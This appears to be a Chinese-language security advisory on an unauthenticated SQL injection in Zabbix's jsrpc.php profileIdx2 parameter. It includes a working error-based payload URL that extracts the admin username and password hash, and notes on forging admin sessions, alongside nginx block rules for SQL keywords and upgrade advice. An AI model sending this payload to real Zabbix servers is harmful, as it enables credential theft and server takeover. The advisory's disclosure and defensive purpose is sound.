8月16日,由三矛科技的外部威脅情報檢測模塊在fulldisclosure發現
8月17日,三矛科技通過微信公衆號對該漏洞首次正式預警
漏洞概述
zabbix是一個開源的企業級性能監控解決方案。
zabbix的jsrpc的profileIdx2參數存在insert方式的SQL注入漏洞,***者無需授權登陸即可登陸zabbix管理系統,也可通過script等功能輕易直接獲取zabbix服務器的操作系統權限。
影響程度
***成本:低
危害程度:高
是否登陸:不需要
影響範圍:2.2.x, 3.0.0-3.0.3。(其他版本未經測試)
漏洞測試
在您的zabbix的地址後面加上如下url:
測試URL:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1
輸出結果:
測試URL
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select%20(1)%20from%20users%20where%201=1%20aNd%20(SELECT%201%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(select%20concat(alias,0x3a,passwd)%20from%20users%20limit%201)),1,62)))a%20from%20information_schema.tables%20group%20by%20a)b))&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17%27
補充:
以上爲僅爲漏洞驗證測試方式。
***者可以通過進一步構造語句進行錯誤型sql注射,無需獲取和破解加密的管理員密碼。
有經驗的***者可以直接通過獲取admin的sessionid來根據結構算法構造sid,替換cookie直接以管理員身份登陸。
python腳本測試:
修復方案:
請儘快先去升級到最新版吧,據說3.0.4版本已經修補。。。
安全提示
監控系統監控着每個企業的核心資產,一旦被******控制,等同幫助***進一步***企業敞開了大門。
請大家務必重視,並儘快修補此漏洞。
臨時補充解決方案
我現在用的是zabbix 3.0.3,這個漏洞好像還是存在的,所以如果你是nginx,可以在server段加下面試試,然後打開日誌,看看有沒有誤判,這是臨時暴力解決方案:
if ($request_uri ~ ^(.+\.php)(.*)$) { set $req $2; } if ($req ~* "union[+|(%20)]") { return 503; } if ($req ~* "and[+|(%20)]") { return 503; } if ($req ~* "select[+|(%20)]") { return 503; }
或者
if ($request_uri ~* "(cost\()|(concat\()") { return 404; } if ($request_uri ~* "[+|(%20)]union[+|(%20)]") { return 404; } if ($request_uri ~* "[+|(%20)]and[+|(%20)]") { return 404; } if ($request_uri ~* "[+|(%20)]select[+|(%20)]") { return 404; } if ( $query_string ~* ".*[;'<>].*" ){ return 404; }
Zabbix禁用Guest賬戶,使用強密碼,加SSL證書
這些方法可以解決以上問題。